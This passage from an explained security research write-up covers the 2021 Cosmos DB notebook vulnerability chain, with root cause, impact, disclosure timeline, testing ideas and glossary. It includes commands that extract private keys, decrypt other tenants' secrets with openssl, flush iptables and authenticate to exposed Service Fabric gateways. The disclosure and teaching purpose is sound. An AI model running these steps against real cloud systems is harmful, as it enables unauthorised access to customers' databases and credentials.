-rw------- 1 user user 3144 Aug 9 18:35 UnmanagedCertificates.pem
user@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n '/-----BEGIN PRIVATE KEY-----$/,/^-----END PRIVATE KEY-----$/p' > protected-key.pem
user@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n '/-----BEGIN CERTIFICATE-----$/,/^-----END CERTIFICATE-----$/p' > protected-cert.pem
user@laptop:~/cosmos$ echo MIIB0AYJKoZIhvcN...redacted...pqF8om/4fhhMgqGpu | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem
{"Placeholder":"NothingImportant"}
user@laptop:~/cosmos$ echo MIICkwYJKoZIhvcN...redacted...pMd+kxSTnWwJLOwgl | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem
{"StorageAccountKey1":"55410uWV0y5X...redacted...XCUEN2upGg==","StorageAccountKey2":"kNY61/TqYr4r...redacted...KOvBat3NbQ=="}
What this does, line by line:
ls -lalists the files in the folder with details. Two files are present:ManagedCertificates.pemandUnmanagedCertificates.pem.cat ... | sed -n '/-----BEGIN PRIVATE KEY-----$/,/^-----END PRIVATE KEY-----$/p' > protected-key.pemreads the unmanaged certificates file and usessedto print only the block between the BEGIN PRIVATE KEY and END PRIVATE KEY markers, saving it toprotected-key.pem. A private key is the secret half of a key pair, the part that must never be shared.- The next command does the same for the block between BEGIN CERTIFICATE and END CERTIFICATE, saving the public certificate to
protected-cert.pem. echo <encoded blob> | base64 -ddecodes the base64 text, a way of writing binary data using ordinary letters and digits, back into raw bytes.openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pemdecrypts the message using the certificate and its private key.
Using Azure Storage Explorer with those keys, the researchers found hundreds of gigabytes of metadata and operational logs, and millions of records about Cosmos DB's underlying infrastructure.
The manifest also described the Service Fabric nodes:
<NodeTypeName="CV2FI02">
<Endpoints>
<ClientConnectionEndpointPort="19000"/>
<LeaseDriverEndpointPort="1026"/>
<ClusterConnectionEndpointPort="1025"/>
<HttpGatewayEndpointPort="19080"Protocol="https"/>
<ServiceConnectionEndpointPort="1027"/>
<ApplicationEndpointsStartPort="20000"EndPort="30000"/>
<EphemeralEndpointsStartPort="30001"EndPort="65534"/>
</Endpoints>
<Certificates>
<ClusterCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
<ServerCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
<ClientCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
</Certificates>
<PlacementProperties>
<PropertyName="JanusGraphCapable"Value="true"/>
<PropertyName="MaterializedViewsBuilderCapable"Value="true"/>
<PropertyName="NodeTypeName"Value="CV2FI02"/>
<PropertyName="NotebookCapable"Value="true"/>
<PropertyName="RingRoleName"Value="CV2FI"/>
</PlacementProperties>
<Capacities>
<CapacityName="ComputeUnits"Value="80"/>
<CapacityName="ServiceFabric:/_CpuCores"Value="80"/>
<CapacityName="ServiceFabric:/_MemoryInMB"Value="442367"/>
</Capacities>
</NodeType>
</NodeTypes>
<Infrastructure>
<PaaS>
<Roles>
<RoleRoleName="CV2CB01"NodeTypeRef="CV2CB01"RoleNodeCount="5"/>
<RoleRoleName="CV2CW02"NodeTypeRef="CV2CW02"RoleNodeCount="7"/>
<RoleRoleName="CV2FI02"NodeTypeRef="CV2FI02"RoleNodeCount="8"/>
</Roles>
<Votes>
<VoteNodeName="_CV2FI02_0"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_1"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_2"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_3"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_4"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_5"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_6"IPAddressOrFQDN="[redacted]"Port="1025"/>
</Votes>
</PaaS>
</Infrastructure>
What this shows:
<Endpoints>lists the network ports the node uses. The important one is<HttpGatewayEndpointPort="19080"Protocol="https"/>, the web gateway on port 19080 over HTTPS. A port is a numbered door on a machine; HTTPS is encrypted web traffic.<Certificates>names the cluster, server and client certificates, all identified by the subjectfabric.westus1.cosmos.azure.com.<PlacementProperties>describes what the node can host, includingNotebookCapableset totrue.<Capacities>gives its resources: 80 compute units, 80 CPU cores, 442367 MB of memory.<Infrastructure>lists the roles and their node counts, and the<Votes>list gives the addresses of the voting nodes:[redacted]through[redacted], all in the[redacted]/16subnet.
The manifest shows the HttpGatewayEndpoint on port 19080 over HTTPS, and the cluster, server and client certificates all identified by the subject fabric.westus1.cosmos.azure.com. It also lists the vote nodes in the [redacted]/16 subnet, the subnet the researchers had unblocked by flushing iptables. That meant the local Service Fabric HTTP gateway on port 19080 was reachable from the notebook container and could be authenticated with the fabric.westus1.cosmos.azure.com certificate.
Azure Service Fabric, per Microsoft's documentation, is a distributed systems platform for packaging, deploying and managing scalable and reliable microservices and containers, an alternative to Kubernetes. A microservice is a small, independently run piece of an application; Kubernetes is a well-known tool for running such pieces.
Step 8: listing applications and decrypting other customers' secrets
The researchers connected and authenticated to the local Service Fabric on port 19080 with the fabric.westus1.cosmos.azure.com certificate using the sfctl command line, then ran sfctl application list to list running application instances. The output listed all Cosmos DB instances managed by this regional cluster, more than 500 of them, including instances that did not belong to their account.
Three fields in the output stood out:
COSMOSDB_ACCOUNT_KEY_ENCRYPTEDNOTEBOOK_AUTH_TOKEN_ENCRYPTEDNOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED
These secrets were encrypted, as their names suggest, but the researchers held the certificate needed for decryption: fabricsecrets.documents.azure.com. The commands used to decrypt them:
user@laptop:~/cosmos$ cat msg.p7m
MIME-Version:1.0
Content-Disposition: attachment; filename="./msg.p7m"
Content-Type: application/x-pkcs7-mime; name="./msg.p7m"
Content-Transfer-Encoding: base64
MIICOgYJKoZIhvcNAQcDoIIC...redacted...6oYVI1iUIj9cS2K9JEQEvY1/A== // <--- COSMOSDB_ACCOUNT_KEY_ENCRYPTED
user@laptop:~/cosmos$ openssl cms -decrypt -in msg.p7m -inkey ./fabricsecrets.documents.azure.com.key -recip ./fabricsecrets.documents.azure.com.crt
EuFBNZOWMFIee...redacted...0G7W4iDZoQeCQQ== // <--- Plain-text for COSMOSDB_ACCOUNT_KEY_ENCRYPTED
What this shows:
cat msg.p7mprints a file that holds an encrypted message. The first lines are MIME headers, which describe the content type and encoding, and the long line is the encrypted value, labelled in the comment asCOSMOSDB_ACCOUNT_KEY_ENCRYPTED.openssl cms -decrypt -in msg.p7m -inkey ./fabricsecrets.documents.azure.com.key -recip ./fabricsecrets.documents.azure.com.crtdecrypts that file using the private key and certificate forfabricsecrets.documents.azure.com.- The output is the plaintext account key, labelled as the plain-text for
COSMOSDB_ACCOUNT_KEY_ENCRYPTED.
Root cause
The chain rests on several design and configuration mistakes in the notebook feature and its host environment:
- The C# host process of the Jupyter Notebook ran as root, while the Python and terminal paths ran as
cosmosuser. Any C# code therefore executed with root privileges inside the container. - The firewall rules that restricted access to IMDS, the
[redacted]/16subnet and WireServer were enforced locally inside the container, where root could flush them withiptables -F. The researchers argue these rules belong outside the container. - The WireServer Certificates endpoint did not validate the transport certificate supplied in
x-ms-guest-agent-public-x509-cert, so a caller could choose the key that protects the returned bundle. The bundle itself then contained 25 certificates with their private keys, includingfabricsecrets.documents.azure.com,fabric.westus1.cosmos.azure.comand*.notebook.cosmos.azure.com. - The notebook container ran in a shared environment, and the Service Fabric cluster listed per-tenant secrets (
COSMOSDB_ACCOUNT_KEY_ENCRYPTED,NOTEBOOK_AUTH_TOKEN_ENCRYPTED,NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED) that thefabricsecrets.documents.azure.comcertificate could decrypt. - Service Fabric instances in multiple regions were reachable on port 19080 from the internet and accepted the same
fabric.westus1.cosmos.azure.comcertificate.
Impact
Using the information obtained through these misconfigurations, the researchers were able to:
- Obtain the plaintext Primary Key for any Cosmos DB instance running in their cluster, by decrypting
COSMOSDB_ACCOUNT_KEY_ENCRYPTEDwith thefabricsecrets.documents.azure.comcertificate, granting query and manipulation of customers' databases without authorisation. - Obtain the plaintext auth token for any Jupyter Notebook instance in the cluster, by decrypting
NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTEDwith the same certificate and accessing the notebook atNOTEBOOK_PROXY_PATH, granting arbitrary code execution on customers' Jupyter VMs without authorisation. An auth token is a short secret string that proves you are logged in, like a wristband at an event. - Obtain plaintext passwords for customers' notebook storage accounts, by decrypting
NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTEDand using the information inNOTEBOOK_STORAGE_FILE_ENDPOINTwith Azure Storage Explorer, granting access to and manipulation of customers' private saved notebooks. - Obtain the certificate for
*.notebook.cosmos.azure.com, granting interception of SSL traffic to these endpoints. - Obtain metadata about Cosmos DB's underlying infrastructure by accessing internal Azure storage blobs. A blob is a file stored in cloud storage.
- Access the underlying infrastructure of Cosmos DB by browsing to Service Fabric Explorer on various endpoints and authenticating with
fabric.westus1.cosmos.azure.com.
Beyond the local cluster, the researchers scanned port 19080 on Microsoft's ASN and found more than 100 Service Fabric instances reachable on that port. An ASN, Autonomous System Number, identifies a network on the internet; scanning means trying the same port across many addresses. They tried the fabric.westus1.cosmos.azure.com certificate against each, and authentication succeeded. One certificate gave them access to internal Service Fabric instances in multiple regions from the internet.
In total they proved access to thousands of companies' Cosmos DB instances (database, notebook environment and notebook storage) with full admin control via multiple authentication tokens and API keys, including many Fortune 500 companies. They also gained access to the infrastructure running Cosmos DB and showed that access could be maintained outside the vulnerable application, over the internet. The report calls this as close as it gets to a service takeover.
Fix
On 14 August 2021 the researchers observed that the vulnerable feature had been disabled. On 16 August some of the obtained credentials had been revoked. The report does not describe any further code-level changes. The researchers' own recommendation concerns the firewall rules: enforce them outside the Jupyter Notebook container, where a hacker cannot bypass them even with root privileges.
Disclosure timeline
- August 09 2021: Wiz Research Team first exploited the bug and gained unauthorised access to Cosmos DB accounts.
- August 11 2021: Wiz Research Team confirmed intersection with Wiz customers.
- August 12 2021: Wiz Research Team sent the advisory to Microsoft.
- August 14 2021: Wiz Research Team observed that the vulnerable feature had been disabled.
- August 16 2021: Microsoft Security Response Center (MSRC) confirmed the reported behaviour (MSRC Case 66805).
- August 16 2021: Wiz Research Team observed that some obtained credentials had been revoked.
- August 17 2021: MSRC awarded a $40,000 bounty for the report.
- August 23 2021: MSRC confirmed that several thousand customers were affected.
- August 23 2021: MSRC and Wiz Research Team discussed public disclosure strategy.
- August 25 2021: Public disclosure.
Variants to test
If you are learning to look for this kind of problem, here are the same ideas turned into checks you can try on systems you are allowed to test:
- Language-specific host processes in embedded notebooks. Run the same trivial command in each supported language (Python, C#, others) and compare the resulting user. A positive result is any language whose host process runs as root while the others run as an unprivileged user.
- Locally enforced egress rules. From inside a container you control, list
iptablesrules and tryiptables -Fas root, then reach the blocked addresses. A positive result is a metadata service or internal subnet that becomes reachable after the flush. - Metadata service identity mismatch. Query
[redacted]from inside a container and compareosType, subscription ID and subnet with the container's own. A positive result is metadata describing a host you do not own, or a subnet you were told not to reach. - WireServer certificate endpoint with a self-supplied transport certificate. Send
comp=certificateswith your ownx-ms-guest-agent-public-x509-certand inspect the returned<Format>. A positive result is a bundle you can decrypt with your own key that contains certificates and private keys beyond the one expected. - Service Fabric gateway exposure. Scan for port 19080 on the provider's address space and attempt authentication with a certificate recovered from a host. A positive result is a successful login to a cluster in a region unrelated to the certificate's origin.
- Shared cluster secret listings. After authenticating to a Service Fabric cluster, run
sfctl application listand look for per-tenant encrypted fields. A positive result is secrets belonging to accounts other than yours, decryptable with a certificate you already hold.
Glossary
- API: a defined way for one piece of software to send requests to another.
- API key: a secret string that proves an application is allowed to use a service.
- ASN (Autonomous System Number): a number identifying a network on the internet.
- Auth token: a short secret string that proves a user or program is logged in.
- Azure: Microsoft's cloud platform of rented computers and services.
- Base64: a way of writing binary data using ordinary letters, digits and a few symbols.
- Blob: a file stored in cloud storage.
- Certificate: a digital document that binds a public key to an identity.
- Client certificate: a certificate a client presents to prove its own identity to a server.
- Common Name (CN): the name field inside a certificate identifying who it belongs to.
- Connection string: a single line containing the address, account name and key needed to connect to a storage service.
- Container: a packaged, isolated mini-computer running on a larger host.
- Cosmos DB: Microsoft's fully managed NoSQL database service.
- C#: a programming language from Microsoft.
- curl: a command-line tool for sending web requests.
- Decompile: turn a finished program back into readable source code.
- DES_EDE3_CBC: an encryption algorithm name used in the certificate request.
- Encryption: scrambling data with a key so only the matching key can unscramble it.
- Endpoint: a web address where a service accepts requests.
- Environment variable: a named value a program can read at startup.
- Extension (Azure VM extension): software Azure installs and manages on a virtual machine.
- Firewall: a filter deciding which network destinations a machine may talk to.
- grep: a command that searches text for lines matching a pattern.
- Header: extra information attached to a web request or response.
- Host machine: the larger physical or virtual computer on which a container runs.
- HTTPS: encrypted web traffic.
- ILSpy: a tool that decompiles C# programs.
- IMDS (Instance Metadata Service): a service at
[redacted]that returns information about the running virtual machine. - IP address: the numeric address of a machine on a network.
- iptables: the Linux tool that manages firewall rules.
- jq: a command-line tool that formats JSON data.
- JSON: a text format for structured data using names and values.
- Jupyter Notebook: a web application for writing and running code in a document.
- Kubernetes: a well-known platform for running containerised applications.
- Lateral movement: moving from one compromised machine to another inside a network.
- Manifest: a file describing the configuration of a system or application.
- Metadata: data about data, such as information about a virtual machine.
- Microservice: a small, independently run piece of an application.
- MIME: a standard way of labelling the type and encoding of content in a message.
- MSRC: Microsoft Security Response Center, Microsoft's security response team.
- NoSQL database: a database that stores data in flexible documents rather than fixed tables.
- OpenSSL: a toolkit for encryption, certificates and related operations.
- PKCS#7 / pkcs7: a standard format for encrypted or signed messages and certificate bundles.
- Pkcs7BlobWithPfxContents: the certificate bundle format the researchers had seen on other services.
- Port: a numbered door on a machine through which a service listens.
- Primary Key: the main secret that grants full control of a Cosmos DB account.
- Private key: the secret half of a key pair, never to be shared.
- Privilege escalation: moving from a low-power account to a more powerful one.
- Protected settings: the encrypted section of an extension's configuration.
- Public key: the shareable half of a key pair, used to encrypt or verify.
- Public settings: the plain-text section of an extension's configuration.
- Reverse engineering: taking something apart to understand how it works.
- Root: the all-powerful administrator account on Linux and similar systems.
- SDK (software development kit): a set of helper libraries for programmers.
- Self-signed certificate: a certificate that vouches for itself rather than being signed by an authority.
- Service Fabric: Microsoft's platform for packaging, deploying and managing microservices and containers.
- sfctl: a command-line tool for talking to Service Fabric.
- SSL/TLS: the encryption that protects web traffic.
- Subnet: a range of IP addresses treated as one neighbourhood.
- Subscription (Azure): the billing and ownership container for Azure resources.
- su: the Linux command that switches to another user.
- Terminal: a text prompt where you type commands.
- uid / gid: numeric user and group identifiers on Linux; 0 is root.
- Virtual machine (VM): a computer simulated in software on a larger host.
- VM scale set: a group of identical virtual machines managed together.
- WA-Agent / WALinuxAgent: the open-source Linux agent that talks to WireServer.
- WireServer: the virtual address
[redacted]on every Azure VM, a backend that supplies configuration to the VM agents. - XML: a text format that structures data with tags in angle brackets.